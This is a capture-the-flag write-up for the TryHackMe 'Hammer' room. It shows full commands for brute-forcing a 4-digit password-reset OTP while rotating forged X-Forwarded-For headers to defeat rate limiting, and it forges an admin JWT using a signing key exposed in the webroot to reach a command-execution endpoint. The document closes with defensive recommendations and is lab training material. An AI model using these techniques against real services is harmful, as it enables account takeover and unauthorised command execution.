TryHackMe Writeup: Hammer

Ayoub Goubraim

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Abstract

This report documents the full exploitation process of the TryHackMe room "Hammer". The engagement covered reconnaissance, enumeration, web exploration, and brute-force exploitation of a One-Time Password (OTP) mechanism to gain access to the target system.

1 Reconnaissance

We began by performing an Nmap scan to identify open ports and running services on the target IP 10.10.41.22. The scan revealed two open ports: SSH (22) and HTTP (1337), with Apache 2.4.41 running on Ubuntu.

Figure 1: Nmap scan showing SSH and HTTP services running on the target.

2 Enumeration of the Web Application

Navigating to port 1337 showed a login page with fields for email and password.




Figure 2: Login interface on port 1337.

Inspecting the source code of the login page revealed a developer comment suggesting a directory naming convention of the form hmr_DIRECTORY_NAME.

Figure 3: HTML source code with naming convention hint.

3 Directory Brute Forcing

Using ffuf with the directory-list-2.3-medium.txt wordlist, we brute-forced directories on the web server using the discovered naming pattern. This revealed a directory named hmr_logs.

```
| Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 41ms]
| Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 41ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 45ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 45ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 45ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 45ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 45ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
| Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 25ms]
```

Figure 4: Brute-forcing directories with ffuf revealed /hmr_logs.

4 Accessing Logs

Navigating to the /hmr_logs/ directory displayed an Apache directory listing exposing error.logs.



Figure 5: Apache directory listing exposing error.logs.

5 Analyzing error.logs

Examining the error.logs file revealed failed authentication attempts that disclosed a potential valid username: tester@hammer.thm.




Figure 6: Error logs revealing user email and authentication failures.

6 Password Reset Functionality

Using the email discovered, we navigated to the password reset page found in the source code (reset_password.php). Submitting the user email triggered a password recovery process.



Figure 7: Reset password form with the discovered user email.

The site then prompted for a 4-digit recovery code.



Figure 8: OTP input form requiring a 4-digit code.

7 Preparing for Brute Force Attack

Since the OTP was 4 digits, a wordlist was generated using the seq command to include all combinations from 0000 to 9999.

```
seq -w 0 9999 > codes.txt
```




Figure 9: Generating a 4-digit OTP wordlist.

8 Brute Forcing the OTP

Burp Suite Intruder was configured to perform a POST request brute-force attack on the OTP form using the generated wordlist. However, after several requests, a rate-limiting message appeared indicating brute-force protection.




Figure 10: Configuring Burp Suite Intruder to brute-force the OTP.




Figure 11: Server response indicating rate limit exceeded.

9 Burp Suite brute-force attempt

After producing the codes.txt list we tried a focused brute-force using Burp Suite Intruder because it provides fine-grained control and easy observation of responses.

- We captured the password recovery POST request that submits the recovery_code parameter.
- In Intruder we set a single payload position on the recovery code and loaded codes.txt as the payload list.
- We configured a small attack speed initially to avoid immediate blocking and monitored responses for differences (length, timing, or body changes).




Figure 12: Burp Intruder configured with the 4-digit wordlist against the recovery endpoint.

What we observed: After a handful of requests, the server started returning a generic "Rate limit exceeded" response. The screenshot below shows the response body captured in Burp when the server rate-limited us.




Figure 13: Burp showing server rate-limit response.

Explanation: The server implements an effective per-source rate-limiting mechanism that detects repeated attempts from the same IP/session and blocks further attempts. Because Burp Intruder originates from a single host/IP (your attacking machine), the server quickly rejected subsequent attempts. This motivated the next approach: rotate the apparent source IP via forged headers.

10 Bypassing the rate limit: header rotation technique (why and how)

Rationale: Many web servers use rate-limiting tied to the client's IP address. When the application is behind a reverse proxy, developers sometimes rely on headers such as X-Forwarded-For or X-Real-IP to determine the originating IP. If the server trusts these headers without validating them or trusting only a proxy, an attacker can supply forged values and make requests appear to originate from many different IPs. This can be abused to bypass naive rate-limiting.

Caveats: This technique works only if the server accepts and uses the forwarded header as the client IP and there is no additional server-side verification (for example validating proxies by IP or trusting only a known reverse proxy).

11 Generating IPs and automating requests

We generated a large list of pseudo IPs (ips.txt) to use as values in a forged header. The simple bash loops below were used to produce the list.

```
for c in $(seq 0 39); do
  for d in $(seq 0 254); do
    echo "192.168.$c.$d"
  done
done | head -n 9999 > ips.txt
```

This file provided the payload list for the header rotation.

12 Automated brute-force with ffuf (pitchfork mode)

We selected ffuf because it supports multiple concurrent payload lists in different positions (pitchfork mode) and can easily set headers and cookies. The approach: use codes.txt as the OTP list and ips.txt as the list of forged IPs — one OTP per forged IP in parallel — so each OTP attempt appears to come from a unique client IP.

```
ffuf -w codes.txt:W1 -w ips.txt:W2 \
  -u http://10.10.41.22:1337/reset_password.php \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Forwarded-For: W2" \
  -b "PHPSESSID=<session>" \
  -d "recovery_code=W1&s=150" \
  -mode pitchfork -fr "Invalid" -fw 1 -rate 100 -o output.json -of json
```

Why cookies matter: The password-reset flow tied the OTP verification to a session. To make sure the server considered all our requests part of the same recovery attempt, we exported the PHPSESSID cookie and supplied it to ffuf via -b. This ensured we did not start many independent recovery sessions (which could invalidate each other) while rotating the client IP header.

Figure 14: Script used to generate IP list for header rotation.




Figure 15: Captured PHPSESSID cookie used during the brute-force.

ffuf results: When a response matched (did not contain the string "Invalid"), ffuf reported the corresponding W1 (OTP) and W2 (forged IP) pair. The successful OTP allowed us to proceed to the password reset page.

```
(kali⊕ kali)-[~/Documents/TryHackme/Hammer]
$ ffuf -w codes.txt:W1 -w ips.txt:W2 \
> -u http://10.10.41.22:1337/reset_password.php \
> -X POST \
> -H "Content-Type: application/x-www-form-urlencoded" \
> -H "X-Forwarded-For: W2" \
> -b "PHPSESSID=m0gr9ivc27tfbcrp8t5ibv1lnd" \
> -d "recovery_code=W1&s=150" \
> -mode pitchfork \
> -fr "Invalid" \
> -fw 1 \
> -rate 100 \
> -o output.json -of json
```

Figure 16: ffuf command used to brute-force the OTP while rotating the X-Forwarded-For header.

Figure 17: ffuf output showing the recovered OTP and the forged IP used when the request succeeded.

13 Password reset and initial access

Using the recovered OTP we submitted a new password and logged in as tester@hammer.thm. The dashboard shows a welcome message and an initial flag returned on the page (this was the low-privilege application flag).




Figure 18: Successfully resetting the password and logging in.




Figure 19: Dashboard after login showing the application flag.

14 Keeping the session alive: persistentSession cookie

While exploring the application, we noticed the UI occasionally logged us out. Investigation showed client-side JavaScript periodically checked for a cookie named persistentSession and redirected to logout.php if it was missing. The cookie in the session had a short expiry which caused involuntary logouts during testing; we extended its expiry locally to continue.

```
function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
}

function checkTrailUserCookie() {
    const trailUser = getCookie('persistentSession');
    if (!trailUser) {

        window.location.href = 'logout.php';
    }
}

setInterval(checkTrailUserCookie, 1000);
</script>
```

Figure 20: Client-side check that logs out users if persistentSession isn't set.




Figure 21: Modified cookie expiry in the browser during testing.

15 Command execution interface

The dashboard exposes a command box that issues a JSON POST to execute_command.php with a Bearer JWT for authorization. Initially commands were restricted; 1s was allowed in the webroot, but cat and other commands returned "Command not allowed".




Figure 22: Running 1s via the dashboard to enumerate the webroot.



Figure 23: Attempting a restricted command displays an error for standard users.

16 JWT mechanics and tampering attempts

The command endpoint validates a JWT. We inspected the JWT payload (in the browser) and found a role field set to "user". We attempted to modify the payload to set "role": "admin" using jwt.io and resend the token. The server rejected unsigned modifications with "Invalid token: Signature verification failed".




Figure 24: Modifying the JWT payload locally for role escalation testing.




Figure 25: Resending the unsigned token resulted in signature verification failure.

17 Discovery of signing key and forging valid tokens

From the earlier 1s output we noticed a file 188ade1.key in the webroot. The file contained the secret/key used for signing tokens (or a key file that could be used as a secret). We downloaded it and used it to sign tokens locally.

Figure 26: The signing secret/key discovered in the webroot (first 32 bytes shown).

Using that key material we signed a JWT with "role": "admin" and replaced the Au-

thorization header in the browser with this new token.

```
{
    "typ": "JWT",
    "alg": "HS256",
    "kid": "/var/www/html/188adel.key|"
}

PAYLOAD: DATA

CLEAR

Valid payload

{
    "iss": "http://hammer.thm",
    "aud": "http://hammer.thm",
    "iat": 1761489099,
    "exp": 1761492699,
    "data": {
        "user_id": 1,
        "email": "tester@hammer.thm",
        "role": "admin"
    }
}

SIGN JWT: SECRET

CLEAR

Valid secret

56058354efb3daa97ebab00fabd7a7d7

Encoding Format UTF-8
```

Figure 27: Signing a JWT locally using the discovered key and setting the role to admin.

After injecting the signed admin token we reissued command requests. The server accepted the token and returned outputs for commands that were previously blocked. The response shows file paths outside the webroot and specifically points to the flag file.



Figure 28: Server response showing expanded command output after using the signed admin JWT.




Figure 29: Command output revealing the location of the flag.



Figure 30: Reading the flag contents via the command API.

Final Recommendations

- Do not store secrets or key material in web-accessible directories. Private keys and signing secrets must be stored in secure locations with strict access controls.
- Do not trust headers like X-Forwarded-For unless the application runs behind a trusted reverse proxy and the reverse proxy's IPs are validated.
- Enforce server-side rate-limiting using robust logic that does not rely simply on client-provided headers or on client IPs alone.
- Avoid relying solely on client-side cookies for session persistence checks. Server-side session state should be authoritative.
- Harden password reset/OTP flows: per-account throttling, shorter OTP windows, and multi-factor authentication when possible.

This completed document preserves your original content (above) and appends the requested detailed explanations and the remaining images showing the successful end-to-end exploitation.